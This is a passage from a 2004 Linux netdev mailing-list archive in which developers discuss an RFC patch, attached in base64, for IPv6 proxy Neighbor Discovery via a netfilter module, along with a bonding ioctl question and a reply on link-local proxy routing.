ICMPV6_DEST_UNREACH, ICMPV6_ADDR_UNREACH, > + 0, skb->dev); > + goto drop; > + } > /* IPv6 specs say nothing about it, but it is clear that we cannot > send redirects to source routed frames. > */ > -- > Ville Nuorvala > Research Assistant, Institute of Digital Communications, > Helsinki University of Technology > email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 > -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From vnuorval@tcs.hut.fi Wed Jan 14 03:34:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 03:34:32 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EBYI6H012926 for ; Wed, 14 Jan 2004 03:34:18 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 4B12C80030E; Wed, 14 Jan 2004 13:34:17 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0EBYH7Y024562; Wed, 14 Jan 2004 13:34:17 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0EBYGp1024558; Wed, 14 Jan 2004 13:34:17 +0200 Date: Wed, 14 Jan 2004 13:34:16 +0200 (EET) From: Ville Nuorvala To: netfilter-devel@lists.netfilter.org, davem@redhat.com Cc: netdev@oss.sgi.com Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-377318441-531813261-1074080056=:24125" X-archive-position: 2438 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 9622 Lines: 182 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---377318441-531813261-1074080056=:24125 Content-Type: TEXT/PLAIN; charset=US-ASCII Sorry about that, here's the patch. Shouldn't try to do too many things at once... Regards, Ville On Wed, 14 Jan 2004, Ville Nuorvala wrote: > Hello all, > > a proxy needs to capture and process Neighbor Solicitations on behalf of > the proxied node. Normal multicast NS messages are already handled by the > existing neigbor discovery code, but unicast NS messages used for Neighbor > Unreachability Detection will only be handled by the proxy if it captures > the packets for local processing. I think the cleanest solution for this > is a netfilter module (which I have incidentally written already :) > > The attached patch contains the afore mentioned module. > > Any comments are welcome! > > Thanks, > Ville > -- > Ville Nuorvala > Research Assistant, Institute of Digital Communications, > Helsinki University of Technology > email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 > -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 ---377318441-531813261-1074080056=:24125 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="nf_proxy_nd.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="nf_proxy_nd.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTUxNSAgLT4gMS4xNTE2IA0KIwlu ZXQvaXB2Ni9uZXRmaWx0ZXIvTWFrZWZpbGUJMS4xMiAgICAtPiAxLjEzICAg DQojCW5ldC9pcHY2L2lwdjZfc3ltcy5jCTEuMTggICAgLT4gMS4xOSAgIA0K IwluZXQvaXB2Ni9uZXRmaWx0ZXIvS2NvbmZpZwkxLjQgICAgIC0+IDEuNSAg ICANCiMJICAgICAgICAgICAgICAgKG5ldykJICAgICAgICAtPiAxLjEgICAg IG5ldC9pcHY2L25ldGZpbHRlci9pcDZfcHJveHlfbmQuYw0KIw0KIyBUaGUg Zm9sbG93aW5nIGlzIHRoZSBCaXRLZWVwZXIgQ2hhbmdlU2V0IExvZw0KIyAt LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0K IyAwNC8wMS8xMwl2bnVvcnZhbEBhbWJlci5odXQubWVkaWFwb2xpLmNvbQkx LjE1MTYNCiMgQSBwcm94eSBuZWVkcyB0byBjYXB0dXJlIGFuZCBwcm9jZXNz IE5laWdoYm9yIFNvbGljaXRhdGlvbnMgb24gYmVoYWxmIG9mIHRoZSBwcm94 aWVkIG5vZGUuDQojIE5vcm1hbCBtdWx0aWNhc3QgTlMgbWVzc2FnZXMgYXJl IGFscmVhZHkgaGFuZGxlZCBieSB0aGUgZXhpc3RpbmcgbmVpZ2JvciBkaXNj b3ZlcnkgY29kZSwNCiMgYnV0IHVuaWNhc3QgTlMgbWVzc2FnZXMgdXNlZCBm b3IgTmVpZ2hib3IgVW5yZWFjaGFiaWxpdHkgRGV0ZWN0aW9uIHdpbGwgb25s eSBiZSBoYW5kbGVkIGJ5DQojIHRoZSBwcm94eSBpZiBpdCBjYXB0dXJlcyB0 aGUgcGFja2V0cyBmb3IgbG9jYWwgcHJvY2Vzc2luZyB1c2luZyBuZXRmaWx0 ZXIuDQojIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tDQojDQpkaWZmIC1OcnUgYS9uZXQvaXB2Ni9pcHY2X3N5bXMuYyBi L25ldC9pcHY2L2lwdjZfc3ltcy5jDQotLS0gYS9uZXQvaXB2Ni9pcHY2X3N5 bXMuYwlUdWUgSmFuIDEzIDIxOjAyOjE4IDIwMDQNCisrKyBiL25ldC9pcHY2 L2lwdjZfc3ltcy5jCVR1ZSBKYW4gMTMgMjE6MDI6MTggMjAwNA0KQEAgLTE3 LDYgKzE3LDkgQEANCiBFWFBPUlRfU1lNQk9MKGlwNl9yb3V0ZV9vdXRwdXQp Ow0KICNpZmRlZiBDT05GSUdfTkVURklMVEVSDQogRVhQT1JUX1NZTUJPTChp cDZfcm91dGVfbWVfaGFyZGVyKTsNCitFWFBPUlRfU1lNQk9MKGlwdjZfc2tp cF9leHRoZHIpOw0KK0VYUE9SVF9TWU1CT0woaXA2X2lucHV0KTsNCitFWFBP UlRfU1lNQk9MKG5kX3RibCk7DQogI2VuZGlmDQogRVhQT1JUX1NZTUJPTChh ZGRyY29uZl9sb2NrKTsNCiBFWFBPUlRfU1lNQk9MKGlwdjZfc2V0c29ja29w dCk7DQpkaWZmIC1OcnUgYS9uZXQvaXB2Ni9uZXRmaWx0ZXIvS2NvbmZpZyBi L25ldC9pcHY2L25ldGZpbHRlci9LY29uZmlnDQotLS0gYS9uZXQvaXB2Ni9u ZXRmaWx0ZXIvS2NvbmZpZwlUdWUgSmFuIDEzIDIxOjAyOjE4IDIwMDQNCisr KyBiL25ldC9pcHY2L25ldGZpbHRlci9LY29uZmlnCVR1ZSBKYW4gMTMgMjE6 MDI6MTggMjAwNA0KQEAgLTIxOCw1ICsyMTgsMTQgQEANCiAJICBUbyBjb21w aWxlIGl0IGFzIGEgbW9kdWxlLCBjaG9vc2UgTSBoZXJlLiAgSWYgdW5zdXJl LCBzYXkgTi4NCiANCiAjZGVwX3RyaXN0YXRlICcgIExPRyB0YXJnZXQgc3Vw cG9ydCcgQ09ORklHX0lQNl9ORl9UQVJHRVRfTE9HICRDT05GSUdfSVA2X05G X0lQVEFCTEVTDQorDQorY29uZmlnIElQNl9ORl9QUk9YWV9ORA0KKwl0cmlz dGF0ZSAiQ29tcGxldGUgcHJveHkgTmVpZ2JvciBEaXNjb3Zlcnkgc3VwcG9y dCINCisJaGVscA0KKwkgIFRoaXMgZmlsdGVyIGFsbG93cyB0aGUgcHJveHkg dG8gcHJvY2VzcyB1bmljYXN0IE5laWdoYm9yDQorCSAgVW5yZWFjaGFiaWxp dHkgUHJvYmVzIGFzIHdlbGwgYXMgbm9ybWFsIG11bHRpY2FzdA0KKwkgIE5l aWdoYm9yIFNvbGljaXRhdGlvbnMgc2VudCB0byB0aGUgcHJveGllZCBub2Rl Lg0KKw0KKwkgIFRvIGNvbXBpbGUgaXQgYXMgYSBtb2R1bGUsIGNob29zZSBN IGhlcmUuICBJZiB1bnN1cmUsIHNheSBOLg0KIGVuZG1lbnUNCiANCmRpZmYg LU5ydSBhL25ldC9pcHY2L25ldGZpbHRlci9NYWtlZmlsZSBiL25ldC9pcHY2 L25ldGZpbHRlci9NYWtlZmlsZQ0KLS0tIGEvbmV0L2lwdjYvbmV0ZmlsdGVy L01ha2VmaWxlCVR1ZSBKYW4gMTMgMjE6MDI6MTggMjAwNA0KKysrIGIvbmV0 L2lwdjYvbmV0ZmlsdGVyL01ha2VmaWxlCVR1ZSBKYW4gMTMgMjE6MDI6MTgg MjAwNA0KQEAgLTIyLDMgKzIyLDQgQEANCiBvYmotJChDT05GSUdfSVA2X05G X1FVRVVFKSArPSBpcDZfcXVldWUubw0KIG9iai0kKENPTkZJR19JUDZfTkZf VEFSR0VUX0xPRykgKz0gaXA2dF9MT0cubw0KIG9iai0kKENPTkZJR19JUDZf TkZfTUFUQ0hfSEwpICs9IGlwNnRfaGwubw0KK29iai0kKENPTkZJR19JUDZf TkZfUFJPWFlfTkQpICs9IGlwNl9wcm94eV9uZC5vDQpkaWZmIC1OcnUgYS9u ZXQvaXB2Ni9uZXRmaWx0ZXIvaXA2X3Byb3h5X25kLmMgYi9uZXQvaXB2Ni9u ZXRmaWx0ZXIvaXA2X3Byb3h5X25kLmMNCi0tLSAvZGV2L251bGwJV2VkIERl YyAzMSAxNjowMDowMCAxOTY5DQorKysgYi9uZXQvaXB2Ni9uZXRmaWx0ZXIv aXA2X3Byb3h5X25kLmMJVHVlIEphbiAxMyAyMTowMjoxOCAyMDA0DQpAQCAt MCwwICsxLDEwMCBAQA0KKy8qDQorICogQ29weXJpZ2h0IChDKTIwMDMgSGVs c2lua2kgVW5pdmVyc2l0eSBvZiBUZWNobm9sb2d5DQorICogDQorICogVGhp cyBwcm9ncmFtIGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmli dXRlIGl0IGFuZC9vciBtb2RpZnkNCisgKiBpdCB1bmRlciB0aGUgdGVybXMg b2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGFzIHB1Ymxpc2hl ZCBieQ0KKyAqIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhl ciB2ZXJzaW9uIDIgb2YgdGhlIExpY2Vuc2UsIG9yDQorICogKGF0IHlvdXIg b3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4NCisgKiANCisgKiBUaGlzIHBy b2dyYW0gaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxs IGJlIHVzZWZ1bCwNCisgKiBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdp dGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZg0KKyAqIE1FUkNI QU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9T RS4gIFNlZSB0aGUNCisgKiBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBm b3IgbW9yZSBkZXRhaWxzLg0KKyAqIA0KKyAqIFlvdSBzaG91bGQgaGF2ZSBy ZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNl bnNlDQorICogYWxvbmcgd2l0aCB0aGlzIHByb2dyYW07IGlmIG5vdCwgd3Jp dGUgdG8gdGhlIEZyZWUgU29mdHdhcmUNCisgKiBGb3VuZGF0aW9uLCBJbmMu LCA1OSBUZW1wbGUgUGxhY2UsIFN1aXRlIDMzMCwgQm9zdG9uLCBNQSAgMDIx MTEtMTMwNyAgVVNBDQorICoNCisgKiBMaW51eCBJTkVUNiBpbXBsZW1lbnRh dGlvbiANCisgKg0KKyAqIG5mIGhvb2sgZm9yIGNhcHR1cmluZyB1bmljYXN0 IG5laWdoYm9yIGRpc2NvdmVyeSBtZXNzYWdlcyBzbyBhIHByb3h5DQorICog Y2FuIHBhcnRpY2lwYXRlIGluIE5laWdoYm9yIFVucmVhY2hhYmlsaXR5IERl dGVjdGlvbiBvbiBiZWhhbGYgb2YgaXRzDQorICogY2xpZW50DQorICoNCisg KiBBdXRob3JzDQorICoJVmlsbGUgTnVvcnZhbGEJCTx2bnVvcnZhbEB0Y3Mu aHV0LmZpPgkNCisgKi8NCisNCisjaW5jbHVkZSA8bGludXgvbW9kdWxlLmg+ DQorI2luY2x1ZGUgPGxpbnV4L25ldGZpbHRlcl9pcHY2Lmg+DQorI2luY2x1 ZGUgPG5ldC9pcHY2Lmg+DQorI2luY2x1ZGUgPG5ldC9uZGlzYy5oPg0KKw0K K01PRFVMRV9MSUNFTlNFKCJHUEwiKTsNCitNT0RVTEVfQVVUSE9SKCJWaWxs ZSBOdW9ydmFsYSA8dm51b3J2YWxAdGNzLmh1dC5maT4iKTsNCitNT0RVTEVf REVTQ1JJUFRJT04oIklQdjYgUHJveHkgTkQgZmlsdGVyIik7DQorDQorDQor c3RhdGljIHVuc2lnbmVkIGludCBpcDZfcHJveHlfbmRfaG9vayh1bnNpZ25l ZCBpbnQgaG9va251bSwNCisJCQkJICAgICAgc3RydWN0IHNrX2J1ZmYgKipw c2tiLA0KKwkJCQkgICAgICBjb25zdCBzdHJ1Y3QgbmV0X2RldmljZSAqaW4s DQorCQkJCSAgICAgIGNvbnN0IHN0cnVjdCBuZXRfZGV2aWNlICpvdXQsDQor CQkJCSAgICAgIGludCAoKm9rZm4pKHN0cnVjdCBza19idWZmICopKQ0KK3sN CisJc3RydWN0IHNrX2J1ZmYgKnNrYiA9ICpwc2tiOw0KKwlzdHJ1Y3QgaXB2 NmhkciAqaXB2NmggPSBza2ItPm5oLmlwdjZoOw0KKwl1OCBuZXh0aGRyID0g aXB2NmgtPm5leHRoZHI7DQorCWludCBvZmZzZXQ7DQorCXN0cnVjdCBpbjZf YWRkciAqZGFkZHIgPSAmc2tiLT5uaC5pcHY2aC0+ZGFkZHI7DQorCXN0cnVj dCBpY21wNmhkciBtc2c7DQorDQorCWlmIChpcHY2X2V4dF9oZHIobmV4dGhk cikpIHsNCisJCW9mZnNldCA9IGlwdjZfc2tpcF9leHRoZHIoc2tiLCBzaXpl b2Yoc3RydWN0IGlwdjZoZHIpLCANCisJCQkJCSAgJm5leHRoZHIsIA0KKwkJ CQkJICBza2ItPmxlbiAtIHNpemVvZihzdHJ1Y3QgaXB2NmhkcikpOw0KKwkJ aWYgKG9mZnNldCA8IDApDQorCQkJcmV0dXJuIE5GX0FDQ0VQVDsNCisJfSBl bHNlDQorCQlvZmZzZXQgPSBzaXplb2Yoc3RydWN0IGlwdjZoZHIpOw0KKw0K KwkvKiBjYXB0dXJlIHVuaWNhc3QgTlVEIHByb2JlcyBvbiBiZWhhbGYgb2Yg dGhlIHByb3hpZWQgbm9kZSAqLw0KKwlpZiAobmV4dGhkciA9PSBJUFBST1RP X0lDTVBWNiAmJiANCisJICAgIGlwdjZfYWRkcl90eXBlKGRhZGRyKSAmIElQ VjZfQUREUl9VTklDQVNUICYmIA0KKwkgICAgIXNrYl9jb3B5X2JpdHMoc2ti LCBvZmZzZXQsICZtc2csIHNpemVvZihtc2cpKSkgew0KKwkJaW50IGlpZjsg DQorCQlzdHJ1Y3QgbmV0X2RldmljZSAqZGV2Ow0KKwkJc3dpdGNoIChtc2cu aWNtcDZfdHlwZSkgew0KKwkJY2FzZSBORElTQ19ORUlHSEJPVVJfU09MSUNJ VEFUSU9OOg0KKwkJCWlpZiA9ICgoc3RydWN0IGluZXQ2X3NrYl9wYXJtICop c2tiLT5jYiktPmlpZjsNCisJCQlkZXYgPSBfX2Rldl9nZXRfYnlfaW5kZXgo aWlmKTsNCisJCQlpZiAoZGV2ICYmIHBuZWlnaF9sb29rdXAoJm5kX3RibCwg ZGFkZHIsIGRldiwgMCkpIHsNCisJCQkJaXA2X2lucHV0KHNrYik7DQorCQkJ CXJldHVybiBORl9TVE9MRU47DQorCQkJfQ0KKwkJfQ0KKwl9DQorCXJldHVy biBORl9BQ0NFUFQ7DQorfQ0KKw0KK3N0YXRpYyBzdHJ1Y3QgbmZfaG9va19v cHMgaXA2X3Byb3h5X25kX29wcyA9IHsNCisJLmhvb2sgPSBpcDZfcHJveHlf bmRfaG9vaywNCisJLm93bmVyID0gVEhJU19NT0RVTEUsDQorCS5wZiA9IFBG X0lORVQ2LA0KKwkuaG9va251bSA9IE5GX0lQNl9QUkVfUk9VVElORywNCisJ LnByaW9yaXR5ID0gTkZfSVA2X1BSSV9MQVNULA0KK307DQorDQorDQorc3Rh dGljIGludCBfX2luaXQgaXA2X3Byb3h5X25kX2luaXQodm9pZCkNCit7DQor CXJldHVybiBuZl9yZWdpc3Rlcl9ob29rKCZpcDZfcHJveHlfbmRfb3BzKTsN Cit9DQorDQorc3RhdGljIHZvaWQgX19leGl0IGlwNl9wcm94eV9uZF9leGl0 KHZvaWQpDQorew0KKwluZl91bnJlZ2lzdGVyX2hvb2soJmlwNl9wcm94eV9u ZF9vcHMpOw0KK30NCisNCittb2R1bGVfaW5pdChpcDZfcHJveHlfbmRfaW5p dCk7DQorbW9kdWxlX2V4aXQoaXA2X3Byb3h5X25kX2V4aXQpOw0KKw0K ---377318441-531813261-1074080056=:24125-- From vnuorval@tcs.hut.fi Wed Jan 14 03:56:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 03:56:57 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EBuV6H013574 for ; Wed, 14 Jan 2004 03:56:34 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 29B3780030A; Wed, 14 Jan 2004 13:25:43 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0EBPg7Y024533; Wed, 14 Jan 2004 13:25:42 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0EBPg8f024529; Wed, 14 Jan 2004 13:25:42 +0200 Date: Wed, 14 Jan 2004 13:25:42 +0200 (EET) From: Ville Nuorvala To: netfilter-devel@lists.netfilter.org, davem@redhat.com Cc: netdev@oss.sgi.com Subject: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2439 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 711 Lines: 20 Hello all, a proxy needs to capture and process Neighbor Solicitations on behalf of the proxied node. Normal multicast NS messages are already handled by the existing neigbor discovery code, but unicast NS messages used for Neighbor Unreachability Detection will only be handled by the proxy if it captures the packets for local processing. I think the cleanest solution for this is a netfilter module (which I have incidentally written already :) The attached patch contains the afore mentioned module. Any comments are welcome! Thanks, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From yoshfuji@linux-ipv6.org Wed Jan 14 04:04:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 04:04:18 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EC446H014415 for ; Wed, 14 Jan 2004 04:04:04 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id C870233CA5; Wed, 14 Jan 2004 21:04:27 +0900 (JST) Date: Wed, 14 Jan 2004 21:04:27 +0900 (JST) Message-Id: <20040114.210427.104284595.yoshfuji@linux-ipv6.org> To: vnuorval@tcs.hut.fi Cc: netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2440 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 365 Lines: 8 In article (at Wed, 14 Jan 2004 13:25:42 +0200 (EET)), Ville Nuorvala says: > the packets for local processing. I think the cleanest solution for this > is a netfilter module (which I have incidentally written already :) I don't think so. Proxy should not depend on netfilter. --yoshfuji From amir.noam@intel.com Wed Jan 14 07:01:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 07:01:44 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EF1Q6H026196 for ; Wed, 14 Jan 2004 07:01:28 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.9 2004/01/09 00:55:23 root Exp $) with ESMTP id i0EF13aG015482; Wed, 14 Jan 2004 15:01:03 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.9 2004/01/09 01:01:50 root Exp $) with SMTP id i0EF0QCJ003868; Wed, 14 Jan 2004 15:00:53 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004011417005206506 ; Wed, 14 Jan 2004 17:00:52 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i0EF0ohb004225; Wed, 14 Jan 2004 17:00:51 +0200 (IST) From: Amir Noam To: "Jeff Garzik" Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces Date: Wed, 14 Jan 2004 17:00:50 +0200 User-Agent: KMail/1.5.3 Cc: , References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401141700.50119.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2441 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 878 Lines: 23 On Sunday 11 January 2004 11:59 pm, Jeff Garzik wrote: > ioctls are a pain for 32/64-bit emulation layers too. It seems > much easier to define a netlink protocol family of some sort and > communicate that way. It seems that a lot of different suggestions were made so far about the best way to pass messages unrelated to a specific interface to the kernel (char device, netlink, sysfs), all with their own advantages and disadvantages. Until the preferred method is decided on for 2.6, is there a real objection to using a generic socket ioctl for bonding in the *2.4* kernel? (again, given that several other modules already use such a scheme, and won't change that behavior in 2.4) It would be nice to have the support for dynamically adding/removing bonding interfaces in 2.4, and 2.4.25 is about to be the last 2.4 kernel that accepts new features. -- Amir From vnuorval@tcs.hut.fi Wed Jan 14 07:22:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 07:22:44 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EFMU6H027036 for ; Wed, 14 Jan 2004 07:22:31 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id CD333800311; Wed, 14 Jan 2004 17:22:29 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0EFMT7Y025561; Wed, 14 Jan 2004 17:22:29 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0EFMT5q025557; Wed, 14 Jan 2004 17:22:29 +0200 Date: Wed, 14 Jan 2004 17:22:28 +0200 (EET) From: Ville Nuorvala To: Pekka Savola , yoshfuji@linux-ipv6.org Cc: davem@redhat.com, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH|RFC] IPv6: have a proxy discard link-local traffic In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2442 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 2724 Lines: 69 On Wed, 14 Jan 2004, Pekka Savola wrote: > Please check out draft-thaler-ipv6-ndproxy-xx.txt -- it used ND > proxying (similar to proxy ARP). Oh yes, true. I actually checked out the draft some months ago... (And just re-read it :) > I fear this change might break that.. I don't think it does. Here's why: The current proxy ND implementation in the kernel only captures multicast NS messages. A unicast NS (i.e. a NUD probe) won't be captured by the proxy, in stead it tries to _route_ it to the proxied node. No matter what scope the proxied address is, this is incorrect behavior since: 1) the packet will probably be routed back to the original link, unless the proxy has a more specific route to the proxied node 2) traffic to a link-local address can't be routed to another link 3) an attempt to route a packet back to the original link would just cause the proxy to send another NS for the address it is already proxying, eventually resulting in a ICMPv6 Destination Unreachable, Code 3 message after the NS has timed out. 4) the unicast ND messages are forwarded to at most one other interface, not all of them 5) multicast (ND) messages aren't forwarded at all because of 2 and since multicast routing isn't implemented yet AFAIK :( 6) the proxying router decreases the hop count of the packet, thus breaking the ND protocols (and other link-local protocols that rely on the hop count to remain unchanged. The traditional proxy described in RFC 2461 is a router, what Thaler describes is closer to a bridge. The protocol described in Thaler's draft can't rely on routing for what it is doing, in stead it must AFAICS bypass the routing altogether, either inside the kernel, or by pushing the traffic through user space. These are the real problems you have to address if you want to implement Thaler's draft on Linux. In contrast, since 2 always applies (i.e. you can't route link-locals) this patch only removes the unnecessary steps described in 3 before the error message is sent. This shouldn't break anything wrt to draft-thaler-ipv6-ndproxy-01.txt (as explained), and is a requirement in the MIPv6 specifiaction (as previously mentioned :) My other patch with the netfilter module captures the NUD probes once it proxies an addresses, but the intermediate node faces all the listed problems before it can even start acting as a proxy for it. Similarly, issues 1, 2, 5 and 6 will also cause problems for other protocols than just ND, assuming you don't want all traffic to bypass routing. Regards, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From shemminger@osdl.org Wed Jan 14 11:37:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 14 Jan 2004 11:38:01 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0EJbl6H004565 for ; Wed, 14 Jan 2004 11:37:47 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0EJbYo04751; Wed, 14 Jan 2004 11:37:34 -0800 Date: Wed, 14 Jan 2004 11:37:34 -0800 From: Stephen Hemminger To: Matt Mackall Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-Id: <20040114113734.4e9a0865.shemminger@osdl.org> In-Reply-To: <20040114071303.GG28521@waste.org> References: <20040113154610.38f5934c.shemminger@osdl.org> <20040113155921.342db463.davem@redhat.com> <20040113161303.20f1159d.shemminger@osdl.org> <20040114071303.GG28521@waste.org> Organization: Open Source Development Lab X-Mailer: 